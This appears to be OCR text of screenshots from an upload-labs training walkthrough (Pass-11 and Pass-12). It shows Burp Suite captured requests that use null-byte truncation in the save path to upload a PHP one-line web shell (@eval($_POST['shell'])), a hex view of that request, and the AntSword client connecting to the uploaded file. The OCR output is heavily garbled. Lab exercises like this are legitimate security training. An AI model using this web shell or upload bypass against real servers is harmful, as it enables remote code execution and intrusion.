% Burp Suite Professional v2020.1 - Tempc ' icensed to surferyz

Burp Project Intruder Repeater Window Help

[ Dashboard ITarget T Proxy I Intruder I Repeater T Sequencer T Decoder I Comparer T Extender I Project options I User options ]

J Intercept I HTTP history IWehSo—:kets history T Options ]

/ Request to http:/fwww.server.cn:80 [192.168.136.130]

[ Forward J l Drop J { Intercept is on ] Action
J RawI Params T Headers I Hex ] /

1 POST /upload—labs/Pass—ll/index.php?save_path1..fuplnadfl.php%DDIHTTPfl.l
Host: www.Server.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x£4; rv:82.0) Gecko/Z0Ll00101 Firefox/82.0

4 Accept: text/html,application/xhtml+4xml,application/=ml;gq=0.9, image/webp, */*;q=0.8

5 Acecept-Language: zh-CN, zh;q=0.28, zh-TW;qgq=0.7, zh-HE; gq=0.5,en-U5;q=0.3,en;q=0.2

& Accept-Encoding: gzip, deflate

7 Content-Type: multipart/form-data; bhoundary=—-——————--——--—-————————————— 345380157213 76£536£453 1624435384
2 Content-Length: 405

S Origin: http://www.server.cn

10 Connection: close

11 Beferer: http://www.server.cn/upload-labs/Pass-11/index.php

12 Upgrade-Insecure-Requests: 1

| %00 TN

b b

14 ——mm e e e 345380157213 765364531£24435384
15 Content-Disposition: form-data; name="upload_file":Ifilename="shell.png"
16 Content-Type: application/octet-stream

12 «?php phpinfo(); @eval(§ POST['shell']l): 2>

J = e 345380157213 765364531£24435384
1 Content-Disposition: form-data; name="submit"

N AR E AT

34538015721376536453 1624435384~

& upload-labs X | phpinfog X |+ = X

&«

# www.server.cn/upload-labs/Pass-11/index.php?save pa

AntSword #Bi8 B[O &

EEEREEFENBER: !

BigE
SIS,
= WEER (0) mAXER (1) >
) URLHAE ppy, O FIHE E#5T1.phpBl G URIASYH - 0% | gam  azmes | o
| omm x AT O MEs \Tenee ()
B EaiEE j v
& VB 3 e
R @rocksar () =5 QuEHs OEiE Qe NmE () s URLASE * [ bttp s servercnfupoacabsluploadit.oh |
Q =R HTML
+ ERE® © | and
P <div id="menu"> == ¢/div> %
b <h2> =</h2> PR &
v <ol>
b li>f=ler1is REBIER UTF8 N
w clix
imarker = =2 PHP v
<h3> FER</h3>

» cform action-"2save path-../upload/" enctype-"multipart/form-data”
method="post"> =

(@) default (T3E#%)
) random (FIE#)

) base64

</ol> 2 EkiEs ~

</div>

f Hinigs ~

/upload-1abs/is v ren o
Jupload-labs/is/prism.is"></script FERRh

Jupload-labs/js/prism-line-

script
/jquery.min. s

N FIoat none

fuplead-labs/js/prisn: line-height normal

text/javascript upload- labs/js/index.js"></script> position static
2-index auto

html > body > div#main > ol » li > div¥img > img

22: HHRM+—REM, RUPOST AR HHE, FILHHBurp Suite 82 BERXTE R K BEAT B



Burp Project Intruder Repeater Window Help

[ Dashboard ITarget Tmey T Intruder T Repeater I Sequencer T Decoder I Comparer T Extender T Project options I User options }

Intercept | HTTP history IWehSOckets history | Options
4/ Request 1o hitp:fhwwnw.server.cn:80. [192.168.136.130] B e 5
= - HEIRIRIAIE EAB500

brop | [ Imterceptison | | Action

] LAERERR AR IR INEAENIRE, LFRr, +7NssRsrazb

24 61 64 2d bc 61 62 73 2f 50 61 73 73 2d 3 32 2% ad-labs/Pass-12/ :
25 69 Be 64 65 78 2e 70 68 70 3f 81 63 1 69 Bf Be index php?action
26 3d 73 68 6f 7 5f 63 Bf 64 65 0d 0a 55 70 67 72 =show_codeUpgr
27 61 64 65 2d 49 Be 73 65 63 75 72 65 2d 52 65 KAl ade-Insecure-Req
2 75 65 73 74 73 3a 20 3 0d Oa 0d 0a 2d 2d 2d 2d uests: 1—
29 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d R
2a 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 30 32 32 35 36 32 ————2022562
b 32 39 36 38 32 39 35 39 33 36 35 36 32 3 39 3 2968295936562491
2c kil 34 39 32 30 39 0d 0a 43 6F Be 4 65 Be 74 2d 149209Content-
2d a1 69 73 70 6f 73 69 74 69 Bf Be 3a 20 66 Bf 72 Disposition: for
2e 6d 2d 64 61 74 61 3b 20 Be 61 6d 65 3d 22 73 61 m-data; name="sa
2 76 65 5f 70 61 T4 68 22 0d 0a 0d 03 2e 2e 2 75
30 70 6c Bf 61 64 2 kil 2e 70 68 n 00 'd Oa 2d 2d
3 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d
32 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 30 32 32 35
33 36 32 32 39 36 38 32 39 35 39 33 36 35 36 32 34 6229682959365624
34 39 kil 3 34 39 32 30 39 0d Oa 43 Bf Be 74 65 Be 91149209Conten
35 T4 2d a4 69 73 70 Bf 73 69 74 69 6f Ge 3a 20 66 t-Disposition: f
36 6F 72 6d 2d 64 61 74 61 3b 20 Be 61 6d 65 3d 22 orm-data; name="
37 75 70 6 6f 61 64 5f 66 69 6c 65 22 3b 20 66 69
38 6c 65 Be 61 6d 65 3d 22 73 68 65 Bc 6c 2e 70 Be
39 67 22 0d Oa 43 6f Be 74 65 Be 74 2d 54 79 70 65 g"Content-Type
3a 3a 20 61 70 70 6c 69 63 61 74 69 6f Ge 2 6f 63 "~ application/oc
3b T4 65 74 2d 73 T4 72 65 61 6d 0d 0a 0d 0a 3c 3f tet-stream<?
3 70 68 70 20 70 68 70 69 6e 66 6f 28 29 3b 20 40 php phpinfo(); @
3d 65 76 61 6c 28 24 5f 50 af 53 54 5b 27 73 68 65 eval(§_POST[she
3e 6c 6c 27 5d 29 3b 20 3 3e 0d Oa 0d Oa 2d 2d 2d ) 72>—
3f 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d R
40 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 30 32 32 35 36 202256
a1 32 32 39 36 38 32 39 35 39 33 36 35 36 32 34 39 2296829593656249
42 kil kil M 39 32 30 39 0d Oa 43 6f Ge 4 65 6e 74 1149209Content
43 2d a4 69 73 70 6f 73 69 T4 69 Bf 6e 3a 20 66 Bf -Disposition: fo.
44 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 rm-data; name="s
45 75 62 6d 69 e 2 e o W 02 od 02 ed b8 8a ed be a0

& upload-labs X | phpinfo() X |+

&« G © #& www.server.cn/upload-labs/upload/1.php

[ 3
enable-debug-pack” “—
emplate” "--with-php-
do-oci=0x\php-
\p-sdidcracle
I 5 2EFR (1) ?
-=0x
B © i A EdiF o s
BrE it B
SEEES (0]
[vs
http://www.server.cn/upload-labs/upload/1.php
cmd
UTF8 v
PHP v
RS
(= default (TE#)
random (%) sting.strip_tags.
base64 - Paswered By
. d
~
v B °
HEERI!
[Maservawe |
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